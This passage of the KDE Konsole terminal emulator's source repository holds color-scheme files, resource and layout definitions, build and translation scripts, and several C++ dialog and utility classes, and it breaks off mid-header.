| color 1 0 0 0 1 0 # regular background color (Black) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 178 24 24 0 0 # regular color 1 Red 21 | color 4 24 178 24 0 0 # regular color 2 Green 22 | color 5 178 104 24 0 0 # regular color 3 Yellow 23 | color 6 24 24 178 0 0 # regular color 4 Blue 24 | color 7 178 24 178 0 0 # regular color 5 Magenta 25 | color 8 24 178 178 0 0 # regular color 6 Cyan 26 | color 9 178 178 178 0 0 # regular color 7 White 27 | 28 | # intensive colors 29 | 30 | # instead of changing the colors, we've flaged the text to become bold 31 | 32 | color 10 24 240 24 0 1 # intensive foreground color 33 | color 11 0 0 0 1 0 # intensive background color 34 | 35 | color 12 104 104 104 0 0 # intensive color 0 36 | color 13 255 84 84 0 0 # intensive color 1 37 | color 14 84 255 84 0 0 # intensive color 2 38 | color 15 255 255 84 0 0 # intensive color 3 39 | color 16 84 84 255 0 0 # intensive color 4 40 | color 17 255 84 255 0 0 # intensive color 5 41 | color 18 84 255 255 0 0 # intensive color 6 42 | color 19 255 255 255 0 0 # intensive color 7 43 | -------------------------------------------------------------------------------- /data/color-schemes/historic/LightPicture.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title Paper 6 | 7 | image tile Paper01.jpg 8 | 9 | # foreground colors 10 | 11 | # note that the default background color is flagged 12 | # to become transparent when an image is present. 13 | 14 | # slot transparent bold 15 | # | | | 16 | # V V--color--V V V 17 | 18 | color 0 0 0 0 0 0 # regular foreground color (Black) 19 | color 1 255 255 255 1 0 # regular background color (White) 20 | 21 | color 2 0 0 0 0 0 # regular color 0 Black 22 | color 3 178 24 24 0 0 # regular color 1 Red 23 | color 4 24 178 24 0 0 # regular color 2 Green 24 | color 5 178 104 24 0 0 # regular color 3 Yellow 25 | color 6 24 24 178 0 0 # regular color 4 Blue 26 | color 7 178 24 178 0 0 # regular color 5 Magenta 27 | color 8 24 178 178 0 0 # regular color 6 Cyan 28 | color 9 178 178 178 0 0 # regular color 7 White 29 | 30 | # intensive colors 31 | 32 | # instead of changing the colors, we've flaged the text to become bold 33 | 34 | color 10 0 0 0 0 1 # intensive foreground color 35 | color 11 255 255 255 1 0 # intensive background color 36 | 37 | color 12 104 104 104 0 0 # intensive color 0 38 | color 13 255 84 84 0 0 # intensive color 1 39 | color 14 84 255 84 0 0 # intensive color 2 40 | color 15 255 255 84 0 0 # intensive color 3 41 | color 16 84 84 255 0 0 # intensive color 4 42 | color 17 255 84 255 0 0 # intensive color 5 43 | color 18 84 255 255 0 0 # intensive color 6 44 | color 19 255 255 255 0 0 # intensive color 7 45 | -------------------------------------------------------------------------------- /data/color-schemes/historic/Transparent_darkbg.schema: -------------------------------------------------------------------------------- 1 | # linux color schema for konsole 2 | 3 | title Transparent, Dark Background 4 | 5 | transparency 0.75 0 0 0 6 | 7 | # foreground colors 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | red grn blu | | 14 | # V V--color--V V V 15 | 16 | color 0 255 255 255 0 0 # regular foreground color (White) 17 | color 1 0 0 0 1 0 # regular background color (Black) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 178 24 24 0 0 # regular color 1 Red 21 | color 4 24 178 24 0 0 # regular color 2 Green 22 | color 5 178 104 24 0 0 # regular color 3 Yellow 23 | color 6 24 24 178 0 0 # regular color 4 Blue 24 | color 7 178 24 178 0 0 # regular color 5 Magenta 25 | color 8 24 178 178 0 0 # regular color 6 Cyan 26 | color 9 178 178 178 0 0 # regular color 7 White 27 | 28 | # intensive colors 29 | 30 | # instead of changing the colors, we've flaged the text to become bold 31 | 32 | color 10 255 255 255 0 0 # intensive foreground color 33 | color 11 104 104 104 1 0 # intensive background color 34 | 35 | color 12 104 104 104 0 0 # intensive color 0 36 | color 13 255 84 84 0 0 # intensive color 1 37 | color 14 84 255 84 0 0 # intensive color 2 38 | color 15 255 255 84 0 0 # intensive color 3 39 | color 16 84 84 255 0 0 # intensive color 4 40 | color 17 255 84 255 0 0 # intensive color 5 41 | color 18 84 255 255 0 0 # intensive color 6 42 | color 19 255 255 255 0 0 # intensive color 7 43 | -------------------------------------------------------------------------------- /data/color-schemes/historic/WhiteOnBlack.schema: -------------------------------------------------------------------------------- 1 | # example scheme for konsole 2 | 3 | # the title is to appear in the menu. 4 | 5 | title White on Black 6 | 7 | # foreground colors 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | | | 14 | # V V--color--V V V 15 | 16 | color 0 255 255 255 0 0 # regular foreground color (White) 17 | color 1 0 0 0 1 0 # regular background color (Black) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 178 24 24 0 0 # regular color 1 Red 21 | color 4 24 178 24 0 0 # regular color 2 Green 22 | color 5 178 104 24 0 0 # regular color 3 Yellow 23 | color 6 24 24 178 0 0 # regular color 4 Blue 24 | color 7 178 24 178 0 0 # regular color 5 Magenta 25 | color 8 24 178 178 0 0 # regular color 6 Cyan 26 | color 9 178 178 178 0 0 # regular color 7 White 27 | 28 | # intensive colors 29 | 30 | # instead of changing the colors, we've flaged the text to become bold 31 | 32 | color 10 255 255 255 0 1 # intensive foreground color 33 | color 11 0 0 0 1 0 # intensive background color 34 | 35 | color 12 104 104 104 0 0 # intensive color 0 36 | color 13 255 84 84 0 0 # intensive color 1 37 | color 14 84 255 84 0 0 # intensive color 2 38 | color 15 255 255 84 0 0 # intensive color 3 39 | color 16 84 84 255 0 0 # intensive color 4 40 | color 17 255 84 255 0 0 # intensive color 5 41 | color 18 84 255 255 0 0 # intensive color 6 42 | color 19 255 255 255 0 0 # intensive color 7 43 | -------------------------------------------------------------------------------- /data/color-schemes/historic/syscolor.schema: -------------------------------------------------------------------------------- 1 | # schema that uses system colors 2 | 3 | # the title is to appear in the menu. 4 | 5 | title System Colors 6 | 7 | # image none 8 | 9 | # foreground colors 10 | 11 | # note that the default background color is flagged 12 | # to become transparent when an image is present. 13 | 14 | # slot transparent bold 15 | # | | | 16 | # V V--color--V V V 17 | 18 | sysfg 0 0 0 # regular foreground color (system) 19 | sysbg 1 1 0 # regular background color (system) 20 | 21 | color 2 0 0 0 0 0 # regular color 0 Black 22 | color 3 178 24 24 0 0 # regular color 1 Red 23 | color 4 24 178 24 0 0 # regular color 2 Green 24 | color 5 178 104 24 0 0 # regular color 3 Yellow 25 | color 6 24 24 178 0 0 # regular color 4 Blue 26 | color 7 178 24 178 0 0 # regular color 5 Magenta 27 | color 8 24 178 178 0 0 # regular color 6 Cyan 28 | color 9 178 178 178 0 0 # regular color 7 White 29 | 30 | # intensive colors 31 | 32 | # instead of changing the colors, we've flaged the text to become bold 33 | 34 | color 10 0 0 0 0 1 # intensive foreground color 35 | color 11 255 255 255 1 0 # intensive background color 36 | 37 | color 12 104 104 104 0 0 # intensive color 0 38 | color 13 255 84 84 0 0 # intensive color 1 39 | color 14 84 255 84 0 0 # intensive color 2 40 | color 15 255 255 84 0 0 # intensive color 3 41 | color 16 84 84 255 0 0 # intensive color 4 42 | color 17 255 84 255 0 0 # intensive color 5 43 | color 18 84 255 255 0 0 # intensive color 6 44 | color 19 255 255 255 0 0 # intensive color 7 45 | -------------------------------------------------------------------------------- /data/color-schemes/historic/vim.schema: -------------------------------------------------------------------------------- 1 | # VIM-recommended color schema for konsole 2 | 3 | # VIM (VI improved) in "help xiterm" recommends these colors for xterm. 4 | 5 | title VIM Colors 6 | 7 | # foreground colors ------------------------------- 8 | 9 | # note that the default background color is flagged 10 | # to become transparent when an image is present. 11 | 12 | # slot transparent bold 13 | # | red grn blu | | 14 | # V V--color--V V V 15 | 16 | color 0 0 0 0 0 0 # regular foreground color (Black) 17 | color 1 255 255 255 1 0 # regular background color (White) 18 | 19 | color 2 0 0 0 0 0 # regular color 0 Black 20 | color 3 192 0 0 0 0 # regular color 1 Red 21 | color 4 0 128 0 0 0 # regular color 2 Green 22 | color 5 128 128 0 0 0 # regular color 3 Yellow 23 | color 6 0 0 192 0 0 # regular color 4 Blue 24 | color 7 192 0 192 0 0 # regular color 5 Magenta 25 | color 8 0 128 128 0 0 # regular color 6 Cyan 26 | color 9 192 192 192 0 0 # regular color 7 White 27 | 28 | # intensive colors ------------------------------------------- 29 | 30 | color 10 77 77 77 0 1 # intensive foreground color 31 | color 11 255 255 255 1 1 # intensive background color 32 | 33 | color 12 128 128 128 0 0 # intensive color 0 34 | color 13 255 96 96 0 0 # intensive color 1 35 | color 14 0 255 0 0 0 # intensive color 2 36 | color 15 255 255 0 0 0 # intensive color 3 37 | color 16 128 128 255 0 0 # intensive color 4 38 | color 17 255 64 255 0 0 # intensive color 5 39 | color 18 0 255 255 0 0 # intensive color 6 40 | color 19 255 255 255 0 0 # intensive color 7 41 | -------------------------------------------------------------------------------- /data/data.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | konsolerc 5 | 6 | 7 | konsole.knsrc 8 | color-schemes/BlackOnLightYellow.colorscheme 9 | color-schemes/BlackOnRandomLight.colorscheme 10 | color-schemes/BlackOnWhite.colorscheme 11 | color-schemes/BlueOnBlack.colorscheme 12 | color-schemes/Breeze.colorscheme 13 | color-schemes/Campbell.colorscheme 14 | color-schemes/GreenOnBlack.colorscheme 15 | color-schemes/WhiteOnBlack.colorscheme 16 | color-schemes/Linux.colorscheme 17 | color-schemes/DarkPastels.colorscheme 18 | color-schemes/RedOnBlack.colorscheme 19 | color-schemes/Solarized.colorscheme 20 | color-schemes/SolarizedLight.colorscheme 21 | keyboard-layouts/default.keytab 22 | keyboard-layouts/linux.keytab 23 | keyboard-layouts/macos.keytab 24 | keyboard-layouts/solaris.keytab 25 | layouts/1x2-terminals.json 26 | layouts/2x1-terminals.json 27 | layouts/2x2-terminals.json 28 | 29 | 30 | -------------------------------------------------------------------------------- /data/icons/128-apps-utilities-terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/data/icons/128-apps-utilities-terminal.png -------------------------------------------------------------------------------- /data/icons/16-apps-utilities-terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/data/icons/16-apps-utilities-terminal.png -------------------------------------------------------------------------------- /data/icons/22-apps-utilities-terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/data/icons/22-apps-utilities-terminal.png -------------------------------------------------------------------------------- /data/icons/32-apps-utilities-terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/data/icons/32-apps-utilities-terminal.png -------------------------------------------------------------------------------- /data/icons/48-apps-utilities-terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/data/icons/48-apps-utilities-terminal.png -------------------------------------------------------------------------------- /data/icons/64-apps-utilities-terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/data/icons/64-apps-utilities-terminal.png -------------------------------------------------------------------------------- /data/konsole.knsrc: -------------------------------------------------------------------------------- 1 | [KNewStuff3] 2 | ProvidersUrl=https://autoconfig.kde.org/ocs/providers.xml 3 | Categories=Konsole Color Schemes 4 | TargetDir=konsole 5 | Uncompress=archive 6 | RemoveDeadEntries=true 7 | -------------------------------------------------------------------------------- /data/konsolerc: -------------------------------------------------------------------------------- 1 | [MainWindow] 2 | MenuBar=Disabled 3 | -------------------------------------------------------------------------------- /data/layouts/1x2-terminals.json: -------------------------------------------------------------------------------- 1 | { 2 | "Orientation": "Vertical", 3 | "Widgets": [ 4 | { 5 | "Orientation": "Horizontal", 6 | "Widgets": [ 7 | { 8 | "SessionRestoreId": 0 9 | } 10 | ] 11 | }, 12 | { 13 | "Orientation": "Horizontal", 14 | "Widgets": [ 15 | { 16 | "SessionRestoreId": 0 17 | }, 18 | { 19 | "SessionRestoreId": 0 20 | } 21 | ] 22 | } 23 | ] 24 | } 25 | -------------------------------------------------------------------------------- /data/layouts/2x1-terminals.json: -------------------------------------------------------------------------------- 1 | { 2 | "Orientation": "Vertical", 3 | "Widgets": [ 4 | { 5 | "Orientation": "Horizontal", 6 | "Widgets": [ 7 | { 8 | "SessionRestoreId": 0 9 | }, 10 | { 11 | "SessionRestoreId": 0 12 | } 13 | ] 14 | }, 15 | { 16 | "Orientation": "Horizontal", 17 | "Widgets": [ 18 | { 19 | "SessionRestoreId": 0 20 | } 21 | ] 22 | } 23 | ] 24 | } 25 | -------------------------------------------------------------------------------- /data/layouts/2x2-terminals.json: -------------------------------------------------------------------------------- 1 | { 2 | "Orientation": "Vertical", 3 | "Widgets": [ 4 | { 5 | "Orientation": "Horizontal", 6 | "Widgets": [ 7 | { 8 | "SessionRestoreId": 0 9 | }, 10 | { 11 | "SessionRestoreId": 0 12 | } 13 | ] 14 | }, 15 | { 16 | "Orientation": "Horizontal", 17 | "Widgets": [ 18 | { 19 | "SessionRestoreId": 0 20 | }, 21 | { 22 | "SessionRestoreId": 0 23 | } 24 | ] 25 | } 26 | ] 27 | } 28 | -------------------------------------------------------------------------------- /desktop/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | ########### install files ############### 4 | 5 | install( PROGRAMS org.kde.konsole.desktop DESTINATION ${KDE_INSTALL_APPDIR} ) 6 | install( FILES org.kde.konsole.appdata.xml DESTINATION ${KDE_INSTALL_METAINFODIR} ) 7 | install(FILES org.kde.konsole.desktop DESTINATION ${KDE_INSTALL_DATADIR}/kglobalaccel) 8 | 9 | install(FILES konsole.notifyrc DESTINATION ${KDE_INSTALL_KNOTIFYRCDIR}) 10 | install( PROGRAMS konsolerun.desktop DESTINATION ${KDE_INSTALL_DATADIR}/kio/servicemenus ) 11 | -------------------------------------------------------------------------------- /desktop/konsole.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | konsoleui.rc 5 | partui.rc 6 | sessionui.rc 7 | 8 | 9 | -------------------------------------------------------------------------------- /desktop/partui.rc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

6 | 7 | 8 | 9 | 10 | 11 | 12 | Split View 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | S&crollback 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /doc/manual/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ########### install files ############### 2 | 3 | KDOCTOOLS_CREATE_HANDBOOK(index.docbook 4 | INSTALL_DESTINATION ${KDE_INSTALL_DOCBUNDLEDIR}/en 5 | SUBDIR konsole) 6 | -------------------------------------------------------------------------------- /doc/manual/README: -------------------------------------------------------------------------------- 1 | Use CheckXML to verify the file is valid XML 2 | Use meinproc5 to create an HTML version for local viewing. 3 | 4 | Remember to update the date and releaseinfo when you want the the translators 5 | to see the new version. 6 | 7 | -------------------------------------------------------------------------------- /doc/manual/draganddrop-contextmenu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/doc/manual/draganddrop-contextmenu.png -------------------------------------------------------------------------------- /doc/user/README.keyboard: -------------------------------------------------------------------------------- 1 | [README.keyboard] 2 | 3 | The *.keytab files (located in /usr/share/applications/konsole and 4 | ~/.local/share/applications/konsole) allow you to configure the keyboard 5 | to suit your specific environment/requirements. 6 | 7 | Beside that you can use them to make the keyboard emit virtually any 8 | escape sequence you want, here are some notes about the more typical 9 | problems related to keyboards, that can be coped with this way: 10 | 11 | - BS Hack 12 | 13 | While one would expect, that the Backspace key send ASCII Backspace, 14 | this is not the case in many Linux installations. 15 | 16 | The idea behind this hack is to preserve the CTRL-H. 17 | 18 | So the mapping is: 19 | 20 | CTRL-H -> 0x08 21 | Backspace -> 0x7f 22 | Delete -> \E[3~ 23 | 24 | - Home/End Keys 25 | 26 | Home -> \E[1~ 27 | End -> \E[4~ 28 | 29 | or 30 | 31 | Home -> \E[H 32 | End -> \E[F 33 | 34 | Quite a lot of those key sequences are floating around. 35 | 36 | Consult your terminfo or termcap database for the expected values. 37 | Note that your system is not unlikely to have other keyboard databases 38 | which have to be in sync, too (e.g. /etc/inputrc for readline(3)). 39 | 40 | If you want to adjust things to your needs you can copy one of the *.keytab 41 | files and edit it. The changes will take effect after restarting konsole. 42 | 43 | In case your new keytab is likely to suit common needs, please contribute 44 | to konsole by sending us the file. 45 | -------------------------------------------------------------------------------- /po/ca/docs/konsole/draganddrop-contextmenu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/po/ca/docs/konsole/draganddrop-contextmenu.png -------------------------------------------------------------------------------- /po/it/docs/konsole/draganddrop-contextmenu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/po/it/docs/konsole/draganddrop-contextmenu.png -------------------------------------------------------------------------------- /po/pt_BR/docs/konsole/draganddrop-contextmenu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/po/pt_BR/docs/konsole/draganddrop-contextmenu.png -------------------------------------------------------------------------------- /po/uk/docs/konsole/draganddrop-contextmenu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KDE/konsole/151d8f8ec1be10573ff6de1b1cf49845f79b0436/po/uk/docs/konsole/draganddrop-contextmenu.png -------------------------------------------------------------------------------- /src/BookmarkMenu.h: -------------------------------------------------------------------------------- 1 | /* This file was part of the KDE libraries 2 | 3 | SPDX-FileCopyrightText: 2019 Tomaz Canabrava 4 | SPDX-FileCopyrightText: 2019 Martin Sandsmark 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef BOOKMARKMENU_H 10 | #define BOOKMARKMENU_H 11 | 12 | // KDE 13 | #include 14 | 15 | // Konsole 16 | #include "konsoleprivate_export.h" 17 | 18 | class KActionCollection; 19 | 20 | /* Hackish hack to mitigate a broken behavior of KBookmarkMenu. 21 | * slotAddBookmark accepts duplicates and it's fragile code, 22 | * that thing really deserves a rewrite. 23 | * the easiest way is to "hijack" it's protected method to public 24 | * and just cast around. 25 | */ 26 | class KONSOLEPRIVATE_EXPORT BookmarkMenu : public KBookmarkMenu 27 | { 28 | Q_OBJECT 29 | 30 | public: 31 | BookmarkMenu(KBookmarkManager *mgr, KBookmarkOwner *owner, QMenu *parentMenu, KActionCollection *collection); 32 | 33 | private Q_SLOTS: 34 | void maybeAddBookmark(); 35 | }; 36 | 37 | #endif // BOOKMARKMENU_H 38 | -------------------------------------------------------------------------------- /src/FontDialog.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2018 Mariusz Glebocki 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef FONTDIALOG_H 8 | #define FONTDIALOG_H 9 | 10 | // Qt 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | namespace Konsole 18 | { 19 | class FontDialog : public QDialog 20 | { 21 | Q_OBJECT 22 | 23 | public: 24 | explicit FontDialog(QWidget *parent = nullptr, bool emoji = false, const QFont font = QFont()); 25 | 26 | QFont font() const 27 | { 28 | return _fontChooser->font(); 29 | } 30 | void setFont(const QFont &font); 31 | 32 | Q_SIGNALS: 33 | void fontChanged(const QFont &font); 34 | 35 | private: 36 | KFontChooser *_fontChooser; 37 | QCheckBox *_showAllFonts; 38 | QToolButton *_showAllFontsWarningButton; 39 | QDialogButtonBox *_buttonBox; 40 | bool _emoji; 41 | }; 42 | } 43 | 44 | #endif // FONTDIALOG_H 45 | -------------------------------------------------------------------------------- /src/HistorySizeDialog.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2012 Kurt Hindenburg 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef HISTORYSIZEDIALOG_H 9 | #define HISTORYSIZEDIALOG_H 10 | 11 | // KDE 12 | #include 13 | 14 | // Konsole 15 | #include "Enumeration.h" 16 | #include "konsoleprivate_export.h" 17 | 18 | namespace Ui 19 | { 20 | class HistorySizeDialog; 21 | } 22 | 23 | namespace Konsole 24 | { 25 | class KONSOLEPRIVATE_EXPORT HistorySizeDialog : public QDialog 26 | { 27 | Q_OBJECT 28 | 29 | public: 30 | explicit HistorySizeDialog(QWidget *parent = nullptr); 31 | ~HistorySizeDialog() override; 32 | 33 | /** See HistorySizeWidget::setMode. */ 34 | void setMode(Enum::HistoryModeEnum aMode); 35 | 36 | /** See HistorySizeWidget::mode. */ 37 | Enum::HistoryModeEnum mode() const; 38 | 39 | /** See HistorySizeWidget::setLineCount. */ 40 | void setLineCount(int lines); 41 | 42 | /** See HistorySizeWidget::lineCount. */ 43 | int lineCount() const; 44 | 45 | QSize sizeHint() const override; 46 | 47 | private: 48 | Ui::HistorySizeDialog *_ui; 49 | }; 50 | } 51 | 52 | #endif // HISTORYSIZEDIALOG_H 53 | -------------------------------------------------------------------------------- /src/LabelsAligner.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2018 Harald Sitter 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef LABELSALIGNER_H 9 | #define LABELSALIGNER_H 10 | 11 | #include 12 | #include 13 | 14 | class QWidget; 15 | class QGridLayout; 16 | 17 | namespace Konsole 18 | { 19 | /** 20 | * An utility class for aligning 0th column in multiple QGridLayouts. 21 | * 22 | * Limitations: 23 | * - a layout can't be nested in another layout 24 | * - reference widget must be an ancestor of all added layouts 25 | * - only 0th column is processed (widgets spanning multiple columns 26 | * are ignored) 27 | */ 28 | class LabelsAligner : public QObject 29 | { 30 | Q_OBJECT 31 | 32 | public: 33 | explicit LabelsAligner(QWidget *refWidget); 34 | 35 | void addLayout(QGridLayout *layout); 36 | void addLayouts(const QVector &layouts); 37 | void setReferenceWidget(QWidget *refWidget); 38 | 39 | public Q_SLOTS: 40 | void updateLayouts(); 41 | void align(); 42 | 43 | private: 44 | int getLeftMargin(const QGridLayout *layout); 45 | 46 | static constexpr int LABELS_COLUMN = 0; 47 | 48 | QWidget *_refWidget; 49 | QVector _layouts; 50 | }; 51 | 52 | } 53 | 54 | #endif 55 | -------------------------------------------------------------------------------- /src/Messages.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | rm -f schemas.cpp 3 | for i in ../data/color-schemes/*.colorscheme; do 4 | grep "^Description=" $i | sed -e 's#^Description=\(.*\)$#i18n(\"\1\")#' >> schemas.cpp 5 | done 6 | for i in ../data/keyboard-layouts/*.keytab; do 7 | grep "^keyboard" $i | sed -e 's#^keyboard \"\(.*\)\"$#i18n(\"\1\")#' >> schemas.cpp 8 | done 9 | $EXTRACTRC `find . -name \*.ui` >> rc.cpp 10 | $EXTRACTRC `find . -name \*.kcfg` >> rc.cpp 11 | $EXTRACTRC `find ../desktop -name \*.rc` >> rc.cpp 12 | $XGETTEXT `find . -name \*.cpp -o -name \*.h | grep -v '/tests/'` -o $podir/konsole.pot 13 | rm -f schemas.cpp 14 | #rm -f tips.cpp 15 | rm -f rc.cpp 16 | -------------------------------------------------------------------------------- /src/NullProcessInfo.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "NullProcessInfo.h" 8 | 9 | using namespace Konsole; 10 | 11 | NullProcessInfo::NullProcessInfo(int pid) 12 | : ProcessInfo(pid) 13 | { 14 | } 15 | 16 | void NullProcessInfo::readProcessInfo(int /*pid*/) 17 | { 18 | } 19 | 20 | bool NullProcessInfo::readProcessName(int /*pid*/) 21 | { 22 | return false; 23 | } 24 | 25 | bool NullProcessInfo::readCurrentDir(int /*pid*/) 26 | { 27 | return false; 28 | } 29 | 30 | bool NullProcessInfo::readArguments(int /*pid*/) 31 | { 32 | return false; 33 | } 34 | 35 | void NullProcessInfo::readUserName() 36 | { 37 | } 38 | -------------------------------------------------------------------------------- /src/NullProcessInfo.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef NULLPROCESSINFO_H 8 | #define NULLPROCESSINFO_H 9 | 10 | #include "ProcessInfo.h" 11 | 12 | namespace Konsole 13 | { 14 | /** 15 | * Implementation of ProcessInfo which does nothing. 16 | * Used on platforms where a suitable ProcessInfo subclass is not 17 | * available. 18 | * 19 | * isValid() will always return false for instances of NullProcessInfo 20 | */ 21 | class NullProcessInfo : public ProcessInfo 22 | { 23 | public: 24 | /** 25 | * Constructs a new NullProcessInfo instance. 26 | * See ProcessInfo::newInstance() 27 | */ 28 | explicit NullProcessInfo(int pid); 29 | 30 | protected: 31 | void readProcessInfo(int pid) override; 32 | bool readProcessName(int pid) override; 33 | bool readCurrentDir(int pid) override; 34 | bool readArguments(int pid) override; 35 | void readUserName(void) override; 36 | }; 37 | 38 | } 39 | 40 | #endif 41 | -------------------------------------------------------------------------------- /src/PopStackOnExit.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 5 | 6 | SPDX-License-Identifier: GPL-2.0-or-later 7 | */ 8 | 9 | #ifndef POPSTACKONEXIT_H 10 | #define POPSTACKONEXIT_H 11 | 12 | #include 13 | 14 | namespace Konsole 15 | { 16 | /** 17 | * PopStackOnExit is a utility to remove all values from a QStack which are added during 18 | * the lifetime of a PopStackOnExit instance. 19 | * 20 | * When a PopStackOnExit instance is destroyed, elements are removed from the stack 21 | * until the stack count is reduced the value when the PopStackOnExit instance was created. 22 | */ 23 | template 24 | class PopStackOnExit 25 | { 26 | public: 27 | explicit PopStackOnExit(QStack &stack) 28 | : _stack(stack) 29 | , _count(stack.count()) 30 | { 31 | } 32 | 33 | ~PopStackOnExit() 34 | { 35 | while (_stack.count() > _count) { 36 | _stack.pop(); 37 | } 38 | } 39 | 40 | private: 41 | Q_DISABLE_COPY(PopStackOnExit) 42 | 43 | QStack &_stack; 44 | int _count; 45 | }; 46 | } 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /src/PrintOptions.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2012 Kasper Laudrup 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | // Own 8 | #include "PrintOptions.h" 9 | 10 | // KDE 11 | #include 12 | #include 13 | 14 | using namespace Konsole; 15 | 16 | PrintOptions::PrintOptions(QWidget *parent) 17 | : QWidget(parent) 18 | { 19 | setupUi(this); 20 | 21 | KConfigGroup configGroup(KSharedConfig::openConfig(), QStringLiteral("PrintOptions")); 22 | printerFriendly->setChecked(configGroup.readEntry("PrinterFriendly", true)); 23 | scaleOutput->setChecked(configGroup.readEntry("ScaleOutput", true)); 24 | } 25 | 26 | PrintOptions::~PrintOptions() = default; 27 | 28 | void PrintOptions::saveSettings() 29 | { 30 | KConfigGroup configGroup(KSharedConfig::openConfig(), QStringLiteral("PrintOptions")); 31 | configGroup.writeEntry("PrinterFriendly", printerFriendly->isChecked()); 32 | configGroup.writeEntry("ScaleOutput", scaleOutput->isChecked()); 33 | } 34 | 35 | #include "moc_PrintOptions.cpp" 36 | -------------------------------------------------------------------------------- /src/PrintOptions.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2012 Kasper Laudrup 3 | 4 | SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL 5 | */ 6 | 7 | #ifndef PRINTOPTIONS_H 8 | #define PRINTOPTIONS_H 9 | 10 | #include "ui_PrintOptions.h" 11 | 12 | namespace Konsole 13 | { 14 | class PrintOptions : public QWidget, private Ui::PrintOptions 15 | { 16 | Q_OBJECT 17 | 18 | public: 19 | explicit PrintOptions(QWidget *parent = nullptr); 20 | ~PrintOptions() override; 21 | 22 | public Q_SLOTS: 23 | void saveSettings(); 24 | }; 25 | } 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /src/RenameTabDialog.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2010 Kurt Hindenburg 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef RENAMETABDIALOG_H 8 | #define RENAMETABDIALOG_H 9 | 10 | // KDE 11 | #include "konsoleprivate_export.h" 12 | #include 13 | 14 | namespace Ui 15 | { 16 | class RenameTabDialog; 17 | } 18 | 19 | namespace Konsole 20 | { 21 | class KONSOLEPRIVATE_EXPORT RenameTabDialog : public QDialog 22 | { 23 | Q_OBJECT 24 | 25 | public: 26 | explicit RenameTabDialog(QWidget *parent = nullptr); 27 | ~RenameTabDialog() override; 28 | 29 | QString tabTitleText() const; 30 | QString remoteTabTitleText() const; 31 | QColor color() const; 32 | void setTabTitleText(const QString &); 33 | void 